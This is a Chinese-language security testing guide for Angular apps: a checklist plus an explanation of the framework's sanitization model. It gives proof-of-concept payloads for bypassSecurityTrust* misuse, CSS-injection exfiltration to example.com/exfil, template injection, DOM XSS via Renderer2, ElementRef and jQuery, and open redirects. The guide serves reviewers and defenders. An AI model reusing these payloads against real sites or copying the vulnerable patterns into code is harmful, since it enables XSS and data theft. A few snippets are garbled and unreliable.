Angular
Reading time: 24 minutes
The Checklist
Checklist from here.
- Angular被视为客户端框架,不期望提供服务器端保护
- 项目配置中禁用了脚本的源映射
- 不可信的用户输入在用于模板之前始终被插值或清理
- 用户无法控制服务器端或客户端模板
- 不可信的用户输入在被应用程序信任之前,使用适当的安全上下文进行清理
-
不使用不可信输入的
BypassSecurity*
方法 -
不可信的用户输入不传递给Angular类,如
ElementRef
、Renderer2
和Document
,或其他JQuery/DOM接收器
What is Angular
Angular是一个强大且开源的前端框架,由Google维护。它使用TypeScript来增强代码的可读性和调试能力。凭借强大的安全机制,Angular防止常见的客户端漏洞,如XSS和开放重定向。它也可以在服务器端使用,因此从两个角度考虑安全性非常重要。
Framework architecture
为了更好地理解Angular的基础知识,让我们了解其基本概念。
常见的Angular项目通常看起来像:
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
根据文档,每个 Angular 应用程序至少有一个组件,即根组件 (AppComponent
),它将组件层次结构与 DOM 连接。每个组件定义一个包含应用程序数据和逻辑的类,并与定义要在目标环境中显示的视图的 HTML 模板相关联。@Component()
装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。AppComponent
在 app.component.ts
文件中定义。
Angular NgModules 声明一个编译上下文,用于一组专用于应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 AppModule
,它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。AppModule
在 app.module.ts
文件中定义。
Angular Router
NgModule 提供一个服务,让您可以在应用程序的不同状态和视图层次结构之间定义导航路径。RouterModule
在 app-routing.module.ts
文件中定义。
对于不与特定视图相关联的数据或逻辑,并且您希望在组件之间共享的,您可以创建一个服务类。服务类定义前面会有 @Injectable()
装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。
Sourcemap 配置
Angular 框架通过遵循 tsconfig.json
选项将 TypeScript 文件转换为 JavaScript 代码,然后使用 angular.json
配置构建项目。查看 angular.json
文件,我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档,默认配置为脚本启用 sourcemap 文件,并且默认情况下不隐藏:
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
一般来说,sourcemap 文件用于调试目的,因为它们将生成的文件映射到其原始文件。因此,不建议在生产环境中使用它们。如果启用 sourcemaps,它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而,如果它们被禁用,审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。
此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ [id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 //# sourceMappingURL=[id].main.js.map
,或者如果 hidden 选项设置为 true,则可能不包含。然而,如果 scripts 的 sourcemap 被禁用,测试变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 ng build --source-map
。
数据绑定
绑定是指组件与其对应视图之间的通信过程。它用于在 Angular 框架中传输数据。数据可以通过多种方式传递,例如通过事件、插值、属性或通过双向绑定机制。此外,数据还可以在相关组件(父子关系)之间以及在两个不相关的组件之间使用服务功能共享。
我们可以按数据流对绑定进行分类:
- 数据源到视图目标(包括 interpolation、properties、attributes、classes 和 styles);可以通过在模板中使用
[]
或{{}}
应用; - 视图目标到数据源(包括 events);可以通过在模板中使用
()
应用; - 双向;可以通过在模板中使用
[()]
应用。
绑定可以在属性、事件和属性上调用,以及在源指令的任何公共成员上调用:
类型 | 目标 | 示例 |
---|---|---|
属性 | 元素属性、组件属性、指令属性 | <img [alt]="hero.name" [src]="heroImageUrl"> |
事件 | 元素事件、组件事件、指令事件 | <button type="button" (click)="onSave()">保存 |
双向 | 事件和属性 | <input [(ngModel)]="name"> |
属性 | 属性(例外) | <button type="button" [attr.aria-label]="help">帮助 |
类 | 类属性 | <div [class.special]="isSpecial">特殊 |
样式 | 样式属性 | <button type="button" [style.color]="isSpecial ? 'red' : 'green'"> |
Angular 安全模型
Angular 的设计默认对所有数据进行编码或清理,使得在 Angular 项目中发现和利用 XSS 漏洞变得越来越困难。数据处理有两种不同的场景:
- 插值或
{{user_input}}
- 执行上下文敏感编码并将用户输入解释为文本;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
结果: <script>alert(1)</script><h1>test</h1>
2. 绑定到属性、属性、类和样式或 [attribute]="user_input"
- 根据提供的安全上下文执行清理。
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
结果: <div><h1>test</h1></div>
有 6 种类型的 SecurityContext
:
None
;HTML
在将值解释为 HTML 时使用;STYLE
在将 CSS 绑定到style
属性时使用;URL
用于 URL 属性,例如<a href>
;SCRIPT
用于 JavaScript 代码;RESOURCE_URL
作为加载并作为代码执行的 URL,例如在<script src>
中。
漏洞
绕过安全信任方法
Angular 引入了一系列方法来绕过其默认的清理过程,并指示某个值可以在特定上下文中安全使用,如以下五个示例所示:
bypassSecurityTrustUrl
用于指示给定值是安全的样式 URL:
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">点击我</a>
//结果
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">点击我</a>
bypassSecurityTrustResourceUrl
用于指示给定值是安全的资源 URL:
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//结果
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtml
用于指示给定值是安全的 HTML。请注意,以这种方式将script
元素插入 DOM 树不会导致它们执行所包含的 JavaScript 代码,因为这些元素是如何添加到 DOM 树中的。
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//结果
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScript
用于指示给定值是安全的 JavaScript。然而,我们发现它的行为不可预测,因为我们无法使用此方法在模板中执行 JS 代码。
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//结果
-
bypassSecurityTrustStyle
用于指示给定值是安全的 CSS。以下示例说明了 CSS 注入:
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//结果
请求 URL: GET example.com/exfil/a
Angular 提供了一个 sanitize
方法,在将数据显示在视图中之前对其进行清理。此方法使用提供的安全上下文并相应地清理输入。然而,使用特定数据和上下文的正确安全上下文至关重要。例如,在 HTML 内容上应用带有 SecurityContext.URL
的清理器并不能提供对危险 HTML 值的保护。在这种情况下,错误使用安全上下文可能导致 XSS 漏洞。
HTML 注入
当用户输入绑定到以下三个属性中的任何一个时,就会发生此漏洞:innerHTML
、outerHTML
或 iframe
srcdoc
。虽然绑定到这些属性会按原样解释 HTML,但输入使用 SecurityContext.HTML
进行清理。因此,HTML 注入是可能的,但跨站脚本(XSS)则不是。
使用 innerHTML
的示例:
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
模板注入
客户端渲染 (CSR)
Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号 ({{}}
) 包围,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,模板 {{1+1}}
将显示为 2。
通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 `< > ' " `\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示:
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
如上所示:constructor
指的是对象constructor
属性的作用域,使我们能够调用字符串构造函数并执行任意代码。
服务器端渲染 (SSR)
与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制来增强SSR的安全性。SSR中的模板注入漏洞可以以与CSR相同的方式被发现,因为使用的模板语言是相同的。
当然,在使用第三方模板引擎如Pug和Handlebars时,也有可能引入新的模板注入漏洞。
XSS
DOM接口
如前所述,我们可以使用_Document_接口直接访问DOM。如果用户输入未经过验证,可能会导致跨站脚本(XSS)漏洞。
我们在下面的示例中使用了document.write()
和document.createElement()
方法:
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Angular 类
在 Angular 中,有一些类可以用于处理 DOM 元素:ElementRef
、Renderer2
、Location
和 Document
。关于后两个类的详细描述在 Open redirects 部分中给出。前两个类的主要区别在于 Renderer2
API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 ElementRef
仅持有对元素的引用。因此,根据 Angular 文档,ElementRef
API 应仅在需要直接访问 DOM 时作为最后的手段使用。
ElementRef
包含属性nativeElement
,可用于操作 DOM 元素。然而,不当使用nativeElement
可能导致 XSS 注入漏洞,如下所示:
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
- 尽管
Renderer2
提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,它仍然存在一些安全缺陷。使用Renderer2
,可以使用setAttribute()
方法在 HTML 元素上设置属性,该方法没有 XSS 预防机制。
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- 要设置 DOM 元素的属性,可以使用
Renderer2.setProperty()
方法并触发 XSS 攻击:
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
在我们的研究中,我们还检查了其他 Renderer2
方法的行为,例如 setStyle()
、createComment()
和 setValue()
,与 XSS 和 CSS 注入的关系。然而,由于它们的功能限制,我们未能找到这些方法的有效攻击向量。
jQuery
jQuery 是一个快速、小巧且功能丰富的 JavaScript 库,可以在 Angular 项目中用于操作 HTML DOM 对象。然而,众所周知,该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用,我们添加了这一小节。
html()
方法获取匹配元素集合中第一个元素的 HTML 内容,或设置每个匹配元素的 HTML 内容。然而,按设计,任何接受 HTML 字符串的 jQuery 构造函数或方法都可能执行代码。这可能通过注入<script>
标签或使用执行代码的 HTML 属性来发生,如下例所示。
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
jQuery.parseHTML()
方法使用本地方法将字符串转换为一组 DOM 节点,然后可以将其插入到文档中。
jQuery.parseHTML(data [, context ] [, keepScripts ])
如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。jQuery.parseHTML()
方法不会运行解析 HTML 中的脚本,除非 keepScripts
显式为 true
。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 <img onerror>
属性。
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
Open redirects
DOM 接口
根据 W3C 文档,window.location
和 document.location
对象在现代浏览器中被视为别名。这就是为什么它们在某些方法和属性的实现上相似,这可能导致开放重定向和 DOM XSS 与 javascript://
架构攻击,如下所述。
window.location.href
(和document.location.href
)
获取当前 DOM 位置对象的规范方法是使用 window.location
。它也可以用于将浏览器重定向到新页面。因此,控制此对象使我们能够利用开放重定向漏洞。
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
以下场景的利用过程是相同的。
window.location.assign()
(和document.location.assign()
)
此方法使窗口加载并显示指定 URL 的文档。如果我们控制此方法,它可能是开放重定向攻击的一个入口。
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
window.location.replace()
(和document.location.replace()
)
此方法用提供的 URL 替换当前资源。
与 assign()
方法的不同之处在于,使用 window.location.replace()
后,当前页面不会保存在会话历史中。然而,当我们控制此方法时,也可以利用开放重定向漏洞。
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
window.open()
window.open()
方法接受一个 URL,并将其识别的资源加载到新标签或现有标签中。控制此方法也可能是触发 XSS 或开放重定向漏洞的机会。
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
Angular 类
- 根据 Angular 文档,Angular
Document
与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。Document.location
属性和方法可能是成功开放重定向攻击的入口,如下例所示:
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
- 在研究阶段,我们还审查了 Angular
Location
类的开放重定向漏洞,但未发现有效向量。Location
是一个 Angular 服务,应用程序可以用来与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL -go()
、replaceState()
和prepareExternalUrl()
。然而,我们无法使用它们进行重定向到外部域。例如:
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
结果:http://localhost:4200/http://google.com/about
- Angular
Router
类主要用于在同一域内导航,并不会给应用程序引入任何额外的漏洞:
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
结果:http://localhost:4200/https:
以下方法也在域的范围内导航:
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
参考文献
- Angular
- Angular Security: The Definitive Guide (Part 1)
- Angular Security: The Definitive Guide (Part 2)
- Angular Security: The Definitive Guide (Part 3)
- Angular Security: Checklist
- Workspace and project file structure
- Introduction to components and templates
- Source map configuration
- Binding syntax
- Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
- Sanitization and security contexts
- GitHub - angular/dom_security_schema.ts
- XSS in Angular and AngularJS
- Angular Universal
- DOM XSS
- Angular ElementRef
- Angular Renderer2
- Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
- jQuery API Documentation
- How To Use jQuery With Angular (When You Absolutely Have To)
- Angular Document
- Angular Location
- Angular Router